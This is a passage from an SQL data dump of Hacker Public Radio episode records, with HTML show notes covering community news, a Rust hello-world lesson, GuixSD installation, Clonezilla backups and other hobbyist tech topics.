class=\"shrink\">2022-11-29</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=3737\" target=\"_blank\">Review of KOBO Libra H20 e-reader</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=293\" target=\"_blank\">Rho`n</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3738\" target=\"_blank\">3738</a></strong></td>\n<td>Wed</td>\n<td class=\"shrink\">2022-11-30</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=3738\" target=\"_blank\">Intro to KMyMoney</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=414\" target=\"_blank\">Kinghezy</a></td>\n</tr>\n</table>\n\n<h2>Comments this month</h2>\n\n<p>These are comments which have been made during the past month, either to shows released during the month or to past shows.\nThere are 25 comments in total.</p>\n<h3>Past shows</h3>\n<p>There are 6 comments on\n5 previous shows:</p>\n<ul>\n<li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3698#comments\" target=\"_blank\">hpr3698</a></strong>\n(2022-10-05) \"<em>Spectrogram</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=78\" target=\"_blank\">Klaatu</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul>\n<li>\n<a href=\"https://hackerpublicradio.org/eps.php?id=3698#2\" target=\"_blank\">Comment 2</a>:\nMrX on 2022-11-04:\n\"What a great tip\"</li></ul><br/>\n</li><li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3705#comments\" target=\"_blank\">hpr3705</a></strong>\n(2022-10-14) \"<em>The Year of the FreeBSD Desktop</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=406\" target=\"_blank\">binrc</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul>\n<li>\n<a href=\"https://hackerpublicradio.org/eps.php?id=3705#3\" target=\"_blank\">Comment 3</a>:\nbinrc on 2022-11-03:\n\"additional links\"</li></ul><br/>\n</li><li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3711#comments\" target=\"_blank\">hpr3711</a></strong>\n(2022-10-24) \"<em>Cars</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=377\" target=\"_blank\">Zen_Floater2</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul>\n<li>\n<a href=\"https://hackerpublicradio.org/eps.php?id=3711#2\" target=\"_blank\">Comment 2</a>:\ndnt on 2022-11-09:\n\"pedestrians and cyclists\"</li></ul><br/>\n</li><li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3714#comments\" target=\"_blank\">hpr3714</a></strong>\n(2022-10-27) \"<em>The News with Some Guy On the Internet</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=391\" target=\"_blank\">Some Guy On The Internet</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul>\n<li>\n<a href=\"https://hackerpublicradio.org/eps.php?id=3714#5\" target=\"_blank\">Comment 5</a>:\nDave Morriss on 2022-11-02:\n\"Beautifully done!\"</li></ul><br/>\n</li><li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3715#comments\" target=\"_blank\">hpr3715</a></strong>\n(2022-10-28) \"<em>Secret hat conversations, Part 2.</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=391\" target=\"_blank\">Some Guy On The Internet</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul>\n<li>\n<a href=\"https://hackerpublicradio.org/eps.php?id=3715#3\" target=\"_blank\">Comment 3</a>:\nDave Morriss on 2022-11-02:\n\"A very interesting discussion\"</li>\n<li>\n<a href=\"https://hackerpublicradio.org/eps.php?id=3715#4\" target=\"_blank\">Comment 4</a>:\nDeepGeek on 2022-11-03:\n\"Phone, Tiling wm,\"</li></ul><br/>\n</li></ul>\n<h3>This month\'s shows</h3>\n<p>There are 19 comments on 12 of this month\'s shows:</p>\n<ul><li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3719#comments\" target=\"_blank\">hpr3719</a></strong>\n(2022-11-03) \"<em>HPR News</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=391\" target=\"_blank\">Some Guy On The Internet</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul><li><a href=\"https://hackerpublicradio.org/eps.php?id=3719#1\" target=\"_blank\">Comment 1</a>:\nmike M. on 2022-11-04:\n\"Another form of typosquatting\"</li></ul><br/>\n</li><li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3721#comments\" target=\"_blank\">hpr3721</a></strong>\n(2022-11-07) \"<em>HPR Community News for October 2022</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=159\" target=\"_blank\">HPR Volunteers</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul><li><a href=\"https://hackerpublicradio.org/eps.php?id=3721#1\" target=\"_blank\">Comment 1</a>:\nArcher72 on 2022-11-07:\n\"Weirdos\"</li></ul><br/>\n</li><li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3722#comments\" target=\"_blank\">hpr3722</a></strong>\n(2022-11-08) \"<em>Bash snippet - plurals in messages</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=225\" target=\"_blank\">Dave Morriss</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul><li><a href=\"https://hackerpublicradio.org/eps.php?id=3722#1\" target=\"_blank\">Comment 1</a>:\nrho`n on 2022-11-11:\n\"Great tip!\"</li><li><a href=\"https://hackerpublicradio.org/eps.php?id=3722#2\" target=\"_blank\">Comment 2</a>:\nDave Morriss on 2022-11-16:\n\"Thanks rho`n\"</li></ul><br/>\n</li><li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3725#comments\" target=\"_blank\">hpr3725</a></strong>\n(2022-11-11) \"<em>How to use OSMAnd with Public Transport </em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=30\" target=\"_blank\">Ken Fallon</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul><li><a href=\"https://hackerpublicradio.org/eps.php?id=3725#1\" target=\"_blank\">Comment 1</a>:\nKevin O&#39;Brien on 2022-11-14:\n\"Useful and timely\"</li></ul><br/>\n</li><li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3726#comments\" target=\"_blank\">hpr3726</a></strong>\n(2022-11-14) \"<em>Breaches ever reaching</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=405\" target=\"_blank\">Lurking Prion</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul><li><a href=\"https://hackerpublicradio.org/eps.php?id=3726#1\" target=\"_blank\">Comment 1</a>:\nhammerron on 2022-11-15:\n\"Old LiveJournal\"</li></ul><br/>\n</li><li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3727#comments\" target=\"_blank\">hpr3727</a></strong>\n(2022-11-15) \"<em>Expanding your filesystem with LVM</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=293\" target=\"_blank\">Rho`n</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul><li><a href=\"https://hackerpublicradio.org/eps.php?id=3727#1\" target=\"_blank\">Comment 1</a>:\nZen_floater2 on 2022-11-18:\n\"Love server problems\"</li></ul><br/>\n</li><li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3728#comments\" target=\"_blank\">hpr3728</a></strong>\n(2022-11-16) \"<em>Pinebook Pro review</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=406\" target=\"_blank\">binrc</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul><li><a href=\"https://hackerpublicradio.org/eps.php?id=3728#1\" target=\"_blank\">Comment 1</a>:\nZen_floater2 on 2022-11-18:\n\"I liked this show.\"</li><li><a href=\"https://hackerpublicradio.org/eps.php?id=3728#2\" target=\"_blank\">Comment 2</a>:\none_of_spoons on 2022-11-21:\n\"Programmable ROM.\"</li><li><a href=\"https://hackerpublicradio.org/eps.php?id=3728#3\" target=\"_blank\">Comment 3</a>:\nb on 2022-11-24:\n\"rockchip\"</li><li><a href=\"https://hackerpublicradio.org/eps.php?id=3728#4\" target=\"_blank\">Comment 4</a>:\nsunzu on 2022-11-26:\n\"available distros\"</li></ul><br/>\n</li><li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3729#comments\" target=\"_blank\">hpr3729</a></strong>\n(2022-11-17) \"<em>Contributing to SuperTuxKart</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=407\" target=\"_blank\">Celeste</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul><li><a href=\"https://hackerpublicradio.org/eps.php?id=3729#1\" target=\"_blank\">Comment 1</a>:\ndnt on 2022-11-17:\n\"Car rambling\"</li></ul><br/>\n</li><li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3730#comments\" target=\"_blank\">hpr3730</a></strong>\n(2022-11-18) \"<em>Into Arizona</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=198\" target=\"_blank\">Ahuka</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul><li><a href=\"https://hackerpublicradio.org/eps.php?id=3730#1\" target=\"_blank\">Comment 1</a>:\nClinton Roy on 2022-11-19:\n\"Dam?\"</li></ul><br/>\n</li><li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3731#comments\" target=\"_blank\">hpr3731</a></strong>\n(2022-11-21) \"<em>Speech recognition in Kdenlive</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=399\" target=\"_blank\">dnt</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul><li><a href=\"https://hackerpublicradio.org/eps.php?id=3731#1\" target=\"_blank\">Comment 1</a>:\nCeleste on 2022-11-21:\n\"didn\'t know the feature\"</li><li><a href=\"https://hackerpublicradio.org/eps.php?id=3731#2\" target=\"_blank\">Comment 2</a>:\ndnt on 2022-11-22:\n\"re: both libre/opensource\"</li></ul><br/>\n</li><li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3733#comments\" target=\"_blank\">hpr3733</a></strong>\n(2022-11-23) \"<em>Smite</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=391\" target=\"_blank\">Some Guy On The Internet</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul><li><a href=\"https://hackerpublicradio.org/eps.php?id=3733#1\" target=\"_blank\">Comment 1</a>:\nLurking Prion on 2022-11-23:\n\"Let\'s do a show\"</li><li><a href=\"https://hackerpublicradio.org/eps.php?id=3733#2\" target=\"_blank\">Comment 2</a>:\nSome Guy On The Internet on 2022-11-24:\n\"Sure\"</li></ul><br/>\n</li><li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3734#comments\" target=\"_blank\">hpr3734</a></strong>\n(2022-11-24) \"<em>Inetd: the internet super-server</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=406\" target=\"_blank\">binrc</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul><li><a href=\"https://hackerpublicradio.org/eps.php?id=3734#1\" target=\"_blank\">Comment 1</a>:\nsinza on 2022-11-24:\n\"Great show!\"</li><li><a href=\"https://hackerpublicradio.org/eps.php?id=3734#2\" target=\"_blank\">Comment 2</a>:\nZen_floater2 on 2022-11-27:\n\"loved this\"</li></ul><br/>\n</li></ul>\n\n<h2>Mailing List discussions</h2>\n<p>\nPolicy decisions surrounding HPR are taken by the community as a whole. This\ndiscussion takes place on the <a href=\"https://hackerpublicradio.org/maillist\"\ntarget=\"_blank\">Mail List</a> which is open to all HPR listeners and\ncontributors. The discussions are open and available on the HPR server under\n<a href=\"https://hackerpublicradio.org/pipermail/hpr_hackerpublicradio.org/\">Mailman</a>.\n</p>\n<p>The threaded discussions this month can be found here:</p>\n<a href=\"https://hackerpublicradio.org/pipermail/hpr_hackerpublicradio.org/2022-November/thread.html\" target=\"_blank\">https://hackerpublicradio.org/pipermail/hpr_hackerpublicradio.org/2022-November/thread.html</a>\n\n\n<h2>Events Calendar</h2>\n<p>With the kind permission of <strong>LWN.net</strong> we are linking to\n<a href=\"https://lwn.net/Calendar/\" target=\"_blank\">The LWN.net Community Calendar</a>.</p>\n<p>Quoting the site:</p>\n<blockquote>This is the LWN.net community event calendar, where we track\nevents of interest to people using and developing Linux and free software.\nClicking on individual events will take you to the appropriate web\npage.</blockquote>\n\n<h2>Any other business</h2>\n<h3 id=\"hpr-rss-feeds-and-https-links\">HPR RSS feeds and https\nlinks</h3>\n<p>A question came up in November regarding the HPR RSS feeds. All of\nthe URLs in these feeds use <code>\'http\'</code> as opposed to\n<code>\'https\'</code>.</p>\n<p>Although this may seem odd, this is a fairly common thing to do,\nbecause the RSS standard (such as it is) does not cater for\n<code>\'https\'</code> links. There is a concern that passing an RSS feed\nwith such links to a validator (such as the <a\nhref=\"https://validator.w3.org/feed/\">W3C Feed Validation Service</a>)\nwill result in it being marked as invalid.</p>\n<h3 id=\"older-hpr-shows-on-archive.org-phase-2\">Older HPR shows on\narchive.org, phase 2</h3>\n<p>Now that all shows from number 1 to the latest have been uploaded to\nthe Internet Archive there are other tasks to perform. We are\nreprocessing and re-uploading shows in the range 871 to 2429 as\nexplained in the Community News show notes released in <a\nhref=\"http://hackerpublicradio.org/eps.php?id=3586#older-hpr-shows-on-archive.org-phase-2\">May\n2022</a>. We are keeping a running total here to show progress:</p>\n<!-- . -->\n<table>\n<tr>\n<th>\nMonth\n</th>\n<th>\nMonth count\n</th>\n<th>\nRunning total\n</th>\n<th>\nRemainder\n</th>\n</tr>\n<tr>\n<td>\n2022-04\n</td>\n<td>\n130\n</td>\n<td>\n130\n</td>\n<td>\n1428\n</td>\n</tr>\n<tr>\n<td>\n2022-05\n</td>\n<td>\n140\n</td>\n<td>\n270\n</td>\n<td>\n1288\n</td>\n</tr>\n<tr>\n<td>\n2022-06\n</td>\n<td>\n150\n</td>\n<td>\n420\n</td>\n<td>\n1138\n</td>\n</tr>\n<tr>\n<td>\n2022-07\n</td>\n<td>\n155\n</td>\n<td>\n575\n</td>\n<td>\n983\n</td>\n</tr>\n<tr>\n<td>\n2022-08\n</td>\n<td>\n155\n</td>\n<td>\n730\n</td>\n<td>\n828\n</td>\n</tr>\n<tr>\n<td>\n2022-09\n</td>\n<td>\n150\n</td>\n<td>\n880\n</td>\n<td>\n678\n</td>\n</tr>\n<tr>\n<td>\n2022-10\n</td>\n<td>\n155\n</td>\n<td>\n1035\n</td>\n<td>\n523\n</td>\n</tr>\n<tr>\n<td>\n2022-11\n</td>\n<td>\n230\n</td>\n<td>\n1265\n</td>\n<td>\n293\n</td>\n</tr>\n</table>\n\n<p><small><small>Updated: 2022-12-03 16:10:11</small></small></p>\n\n',159,47,1,'CC-BY-SA','Community News',0,0,1),
(3464,'2021-11-11','Being irrational',777,'Being irrational is rational.','<p>When listening to <a href=\"https://hackerpublicradio.org/eps.php?id=3442\">HPR 3442</a> by Klaatu, which I recommend, some thoughts about how we think started rattling about in my head. In this show I riff on that and talk about the importance of our irrational mode of thought.</p>\r\n',268,0,0,'CC-BY-SA','philosophy,mathematics,science,chess,logic,music',0,0,1),
(3465,'2021-11-12','Walmart Onn 7 inch tablet gen 2',863,'Podcast about a new Android go Tablet I purchased ','<p>Just a basic podcast about a tablet.</p>\r\n<p><a href=\"https://www.walmart.com/ip/onn-7-Tablet/930669857\">https://www.walmart.com/ip/onn-7-Tablet/930669857</a></p>\r\n',129,0,0,'CC-BY-SA','Walmart, Android Go, Tablet',0,0,1),
(3466,'2021-11-15','Why HPR has less downloads',551,'A short summary on why podcast listening might be on decline.','<p>I did a show about why I do not listen to non-mainstream podcasts as much as I used to. For me two things happened: I switched from being in the car for 16 hours a week to being a remote sales person at home. So the 16 hours I listened to podcasts every week in the car went away. The second reason I reduced was that many of the podcasts I was listening to were presented by people who do not share my values. So I stopped listening to them. The third reason I listen less is the Army opened up the online book library to retired service members and I do a lot of audio books in the moment.</p>\r\n',129,0,0,'CC-BY-SA','podcasts, dowloads',0,0,1),
(3469,'2021-11-18','Linux Inlaws S01E43: The Great Battle or not',4138,'The Great Battle nor Not','<p>In this episode Martin and one of the Grumpies (as in Grumpy Old Coders)\r\nbattle it out: SQL or NoSQL - which technology is better? If you ever wondered\r\nwhy the Structured Query Language was invented in the first place and why the\r\nhipster abandoned ship for the latest (?) rage of the likes of the NoSQL\r\nvariety, this is for you. Plus: A whole family of never-heard-of sound effects\r\nmake their debut on this bumper of an episode.</p>\r\n\r\n<h2>Links:</h2>\r\n<ul>\r\n<li>SQL: <a href=\"https://www.iso.org/standard/63555.html\" target=_blank>https://www.iso.org/standard/63555.html</a></li>\r\n<li>NoSQL: <a href=\"https://en.wikipedia.org/wiki/NoSQL\" target=_blank>https://en.wikipedia.org/wiki/NoSQL</a></li>\r\n<li>NoSQL Geek: <a href=\"https://www.nosqlgeek.org\" target=_blank>https://www.nosqlgeek.org</a></li>\r\n<li>ACID compliance: <a href=\"https://en.wikipedia.org/wiki/ACID\" target=_blank>https://en.wikipedia.org/wiki/ACID</a></li>\r\n<li>redis: <a href=\"https://github.com/redis/redis\" target=_blank>https://github.com/redis/redis</a></li>\r\n<li>CAP theorem: <a href=\"https://en.wikipedia.org/wiki/CAP_theorem\" target=_blank>https://en.wikipedia.org/wiki/CAP_theorem</a></li>\r\n<li>TorroDB: <a href=\"https://github.com/gordol/torrodb-server\" target=_blank>https://github.com/gordol/torrodb-server</a></li>\r\n<li>Grumpy Old Coders episode on the Dark Side: <a href=\"https://soundcloud.com/user-498377588/grumpy-old-coders-ep-11-the-dark-side\" target=_blank>https://soundcloud.com/user-498377588/grumpy-old-coders-ep-11-the-dark-side</a></li>\r\n</ul>\r\n',384,111,1,'CC-BY-SA','SQL, NoSQL, Grumpy Old Coders, Hipster databases, mainframes, Execution planners',0,0,1),
(3448,'2021-10-20','Installing GuixSD',2679,'Rho`n records installing GuixSD to an external USB drive to be run on a Mac Mini computer','<h2>Synopsis</h2>\r\n\r\n<p>In this episode Rho`n records his adventure in installing GuixSD on an external USB drive which will be run on a Mac Mini computer. After overcoming the initial difficulty of finding a keyboard that would connect wirelessly to the Mac Mini while using the Guix installer and some network difficulties, he describes the installation steps.</p>\r\n\r\n<p>Guix has a graphical text based installer. It is reminiscent of the mid to late 90s Debian installers. Even with its old school feel, the installer is very nice. It is well laid out, has good onscreen description for each step of the installation process, and provides ample configuration selections from language, to to key board layout, to desktop and software selection.</p>\r\n\r\n<h2>References</h2>\r\n\r\n<ul>\r\n	<li><a href=\"https://guix.gnu.org/\">Guix website</a></li>\r\n	<li><a href=\"https://guix.gnu.org/en/manual/en/html_node/System-Installation.html#System-Installation\">Instructions for installing Guix</a> as the main OS</li>\r\n	<li><a href=\"https://www.riitek.com/product/k12x.html\">Rii 2.4G Mini Wireless Keyboard with Touchpad Mouse</a>,Lightweight Portable Wireless Keyboard Controller with USB Receiver Remote Control for Windows/ Mac/ Android/ PC/Tablets/ TV/Xbox/ PS3. X1-Black - <a href=\"https://www.amazon.com/gp/product/B00I5SW8MC/ref=ppx_yo_dt_b_asin_title_o04_s00?ie=UTF8&th=1\">EBay item</a></li>\r\n</ul>\r\n\r\n<h2>Attribution</h2>\r\n\r\n<p>The transition sound used between audio clips is found on <a href=\"https://freesound.org/\">freesound.org</a>:<br>\r\nName: <a href=\"https://freesound.org/people/DanJFilms/sounds/529064/\">Harp Transition Music Cue</a><br>\r\nAuthor: <a href=\"https://freesound.org/people/DanJFilms/\">DanJFilms</a><br>\r\nLicense: <a href=\"https://creativecommons.org/publicdomain/zero/1.0/\">Creative Commons Zero</a></p>\r\n',293,0,0,'CC-BY-SA','Guix,GuixSD,installer,install,USB drive,Mac Mini,grub rescue',0,0,1),
(3461,'2021-11-08','Changes to HPR Branding',2441,'Rho\'n, Dave and Ken read the entire email thread related to changing the HPR theme','<p>\r\nWe didn\'t have time to tackle the discussion in last months community news so today we dedicate an entire show to reading out all the comments relating to the HPR Branding.\r\n<br />\r\nSee <a href=\"https://hackerpublicradio.org/pipermail/hpr_hackerpublicradio.org/2021-October/thread.html\">https://hackerpublicradio.org/pipermail/hpr_hackerpublicradio.org/2021-October/thread.html</a>\r\n</p>\r\n<p>\r\nYour comments are appreciated !\r\n</p>',159,47,0,'CC-BY-SA','HPR, Branding, Intro, Outro',0,0,1),
(3453,'2021-10-27','Rust 101: Episode 1 - Hello, World!',1348,'In which BlacKernel introduces the cargo tool and goes into detail on the rust hello world program','<h2>Talking Points</h2>\r\n<ul>\r\n	<li>main.rs\r\n	<ul>\r\n		<li>Like main.cpp in C++ or main.c in C</li>\r\n		<li>Tells the compiler which file to start with</li>\r\n		<li>Can link to other \"<i>crates</i>\" and \"<i>modules</i>\"</li>\r\n	</ul></li>\r\n	<li>Cargo.toml\r\n	<ul>\r\n		<li>Keeps track of application metadata</li>\r\n		<li>This includes dependencies!</li>\r\n	</ul></li>\r\n	<li>Functions\r\n	<ul>\r\n		<li>Strictly typed, like everything in Rust</li>\r\n		<li>Declared by <code>fn</code></li>\r\n		<li>Argument typed with <code>argument: Type</code></li>\r\n		<li>Return typed with <code>-&gt; Type</code> otherwise assumed to return nothing</li>\r\n	</ul></li>\r\n	<li>The Main Function\r\n	<ul>\r\n		<li>Like the main functions in C and C++</li>\r\n		<li>Where the program starts within the main.rs file</li>\r\n		<li>CLI arguments handled by <code>std::env</code>, rather than <code>argv</code> and <code>argc</code> in C</li>\r\n		<li>Can return nothing or a <code>Result&lt;()&gt;</code></li>\r\n	</ul></li>\r\n	<li>Macros\r\n	<ul>\r\n		<li><i>Metafunctions</i> or functions for functions</li>\r\n		<li>More general than functions, having flexibility in the number of arguments, etc, but harder to write</li>\r\n	</ul></li>\r\n	<li>The println! Macro\r\n	<ul>\r\n		<li>Can take any number of arguments that implement the <code>display</code> trait</li>\r\n		<li>Usually things like strings or character literals</li>\r\n		<li>Will format them into a string and display it on the terminal</li>\r\n		<li>Similar to printf in C</li>\r\n	</ul></li>\r\n	<li>The Hello World program\r\n	<ul>\r\n		<li>Can be automagically generated with <code>cargo new</code> and then the name of your application</li>\r\n		<li>Located in <code>Name-Of-Application/src/main.rs</code></li>\r\n	</ul></li>\r\n\r\n</ul>\r\n\r\n<br>\r\n\r\n<pre>\r\nfn main() {\r\n&emsp;&emsp;println!(\"Hello, world!\");\r\n}\r\n</pre>\r\n\r\n<br>\r\n\r\n\r\n<hr>\r\n\r\n<h2 id=\"show-notes\">Show Notes</h2>\r\n<h4>Important Links:</h4>\r\n<ul>\r\n	<li><a href=\"https://gitlab.com/BlacKernel/rust-101\">Git repo for this miniseries</a></li>\r\n	<li><a href=\"https://doc.rust-lang.org/std/\">The Rust Standard Library</a></li>\r\n	<li><a href=\"https://doc.rust-lang.org/std/macro.format.html\">The format! macro</a></li>\r\n	<li><a href=\"https://doc.rust-lang.org/std/macro.println.html\">The println! macro</a></li>\r\n</ul>\r\n\r\n<h4>Wikipedia Articles:</h4>\r\n<ul>\r\n	<li><a href=\"https://en.wikipedia.org/wiki/Rust_(programming_language)\">The Rust Programming Language</a></li>\r\n</ul>\r\n\r\n<hr>\r\n\r\n<i>Contact Me</i>\r\n<ul>\r\n<li><b>Email: </b><a href=\"mailto:izzyleibowitz@pm.me\">izzyleibowitz at pm dot me</a></li>\r\n<li><b>Mastodon: </b><a href=\"https://nixnet.social/BlacKernel\">at blackernel at nixnet dot social</a></li>\r\n</ul>\r\n\r\n',396,25,1,'CC-BY-SA','rust, programming, hello world, macros, functions',0,0,1),
(3455,'2021-10-29','Podcast Recommendation: IBM and Quantum computing',193,'Highlights of a podcast from Moore\'s Lobby','<h2 id=\"moores-lobby\">Moore\'s Lobby</h2>\r\n<h3 id=\"ep.-34-the-latest-from-the-lab-how-ibm-research-is-inventing-whats-next\">Ep. 34 | The Latest from the Lab: How IBM Research Is Inventing What\'s Next</h3>\r\n<p><a href=\"https://www.allaboutcircuits.com/podcast/ep-34-the-latest-from-the-lab-how-ibm-research-is-inventing-whats-next\" class=\"uri\">https://www.allaboutcircuits.com/podcast/ep-34-the-latest-from-the-lab-how-ibm-research-is-inventing-whats-next</a></p>\r\n<ol type=\"1\">\r\n<li>Rss feed: <a href=\"https://eetech.libsyn.com/rss\" class=\"uri\">https://eetech.libsyn.com/rss</a></li>\r\n<li>Interview with Dr. Jeffrey Welser\r\n<ul>\r\n<li>VP of Exploratory Science at IBM Research</li>\r\n<li>IBM Release first 2nm chip this year</li>\r\n</ul></li>\r\n<li>Engineers vs Scientists and how they drive innovations</li>\r\n<li>Goal to replace the transistor when Moore\'s Law stops scaling</li>\r\n<li>Managing thermal loads</li>\r\n<li>Finding new structures and materials to control current</li>\r\n<li>Neural nets, image recognition and AI</li>\r\n<li>Quantum computing\r\n<ul>\r\n<li>Discussion starts at 34:35 into the podcast</li>\r\n<li>Richard Feynman, Early 80\'s\r\n<ul>\r\n<li><a href=\"https://www.feynman.com\" class=\"uri\">https://www.feynman.com</a></li>\r\n</ul></li>\r\n<li>qubits\r\n<ul>\r\n<li>superposition state</li>\r\n<li>\"Spooky action at a distance\"</li>\r\n</ul></li>\r\n<li>Encryption\r\n<ul>\r\n<li>Need millions of qubits to break current encryption\r\n<ul>\r\n<li>Only currently over 100 qubits</li>\r\n<li>At least a decade from having enough qubits</li>\r\n<li>Currently have classical systems that cannot be broken by quantum computers\r\n<ul>\r\n<li>The math does not map onto a quantum system</li>\r\n<li>Currently working with NIST to create quantum safe cryptography\r\n<ul>\r\n<li><a href=\"https://csrc.nist.gov/Projects/Cryptographic-Standards-and-Guidelines\" class=\"uri\">https://csrc.nist.gov/Projects/Cryptographic-Standards-and-Guidelines</a></li>\r\n</ul></li>\r\n</ul></li>\r\n</ul></li>\r\n</ul></li>\r\n<li>Quantum chemistry</li>\r\n<li>Quantum chip - cooling and superconducting\r\n<ul>\r\n<li>Dilution refrigerator\r\n<ul>\r\n<li>Low temperature and pressure</li>\r\n<li>Top is 4 Kelvin, bottom gets to 15 milli Kelvin</li>\r\n<li><a href=\"https://phys.org/news/2019-06-superconducting-quantum-refrigerator.html\" class=\"uri\">https://phys.org/news/2019-06-superconducting-quantum-refrigerator.html</a></li>\r\n<li><a href=\"https://www.nist.gov/si-redefinition/kelvin-introduction\" class=\"uri\">https://www.nist.gov/si-redefinition/kelvin-introduction</a></li>\r\n</ul></li>\r\n</ul></li>\r\n<li>Josephson junction\r\n<ul>\r\n<li>It is the reference Volt as defined by NIST</li>\r\n<li><a href=\"https://www.sciencedirect.com/topics/physics-and-astronomy/josephson-junctions\" class=\"uri\">https://www.sciencedirect.com/topics/physics-and-astronomy/josephson-junctions</a></li>\r\n<li><a href=\"https://en.wikipedia.org/wiki/Josephson_voltage_standard\" class=\"uri\">https://en.wikipedia.org/wiki/Josephson_voltage_standard</a></li>\r\n</ul></li>\r\n<li>Use an IBM quantum computer online\r\n<ul>\r\n<li>May 2016 the first quantum computer was put on the \'Net\r\n<ul>\r\n<li><a href=\"https://quantum-computing.ibm.com\" class=\"uri\">https://quantum-computing.ibm.com</a></li>\r\n<li><a href=\"https://newsroom.ibm.com/2016-05-03-IBM-Makes-Quantum-Computing-Available-on-IBM-Cloud-to-Accelerate-Innovation\" class=\"uri\">https://newsroom.ibm.com/2016-05-03-IBM-Makes-Quantum-Computing-Available-on-IBM-Cloud-to-Accelerate-Innovation</a></li>\r\n<li>300,000 users</li>\r\n<li><a href=\"https://qiskit.org/documentation\" class=\"uri\">https://qiskit.org/documentation</a>\r\n<ul>\r\n<li>Qiskit is open-source software for working with quantum computers at the level of circuits, pulses, and algorithms.</li>\r\n</ul></li>\r\n</ul></li>\r\n</ul></li>\r\n</ul></li>\r\n</ol>\r\n',318,0,0,'CC-BY-SA','podcast, moore\'s law, quantum computing, qubits, encryption, cryptography, NIST, Josephson junction',0,0,1),
(3463,'2021-11-10','Clonezilla: A backup story',2046,'Rho`n walks through the process of backing  up his laptop with Clonezilla','<h2>Notes on the audio quality</h2>\r\n<p>I have been looking into the audio quality issues of my shows. I think I have found a solution to them. Unfortunately, this show was recorded before I discovered it.</p>\r\n<h2>Synopsis</h2>\r\n<p>In today\'s episode, I take the audience along my adventure in backing up my laptop\'s hard drives. During recent OS updates, the kernel updates started to fall. In my efforts to resolve the problem, I made things worse &ndash; to the point I decided it was time to reinstall the operating system. To prevent any data loss, I chose Clonezilla to image the drives.</p>\r\n\r\n<p>The Clonezilla Live edition lets you boot into a ncurses menu driven system that walks you through the process of either backing up your hard drives or restoring a Clonezilla backup. Clonezilla backups save space by imaging only the data on your drives (for those filesystems it recognizes &ndash; otherwise it uses <a href=\"#dd\">dd</a> to do a sector-by-sector copy)</p>\r\n\r\n<p>Overall the process was very smooth, and, at the end, I was confident to move forward with wiping my main hard drive and reinstalling the operating system knowing I had a way to restore any lost data.</p>\r\n\r\n<h2>References</h2>\r\n\r\n<ul>\r\n	<li><a href=\"https://clonezilla.org/\">Clonzilla website</a></li>\r\n	<li><a href=\"https://unetbootin.org/\">UNETBOOTIN website</a></li>\r\n	<li><a id=\"dd\" href=\"https://en.wikipedia.org/wiki/Dd_(Unix)\">dd</a>, command line utility for *nix like operating systems</li>\r\n</ul>\r\n\r\n<h2>Attribution</h2>\r\n\r\n<p>The transition sound used between audio clips is found on <a href=\"https://freesound.org/\">freesound.org</a>:<br>\r\nName: <a href=\"https://freesound.org/people/DanJFilms/sounds/529064/\">Harp Transition Music Cue</a><br>\r\nAuthor: <a href=\"https://freesound.org/people/DanJFilms/\">DanJFilms</a><br>\r\nLicense: <a href=\"https://creativecommons.org/publicdomain/zero/1.0/\">Creative Commons Zero</a></p>\r\n\r\n',293,0,0,'CC-BY-SA','Clonezilla,backup,backups,cloning,hard 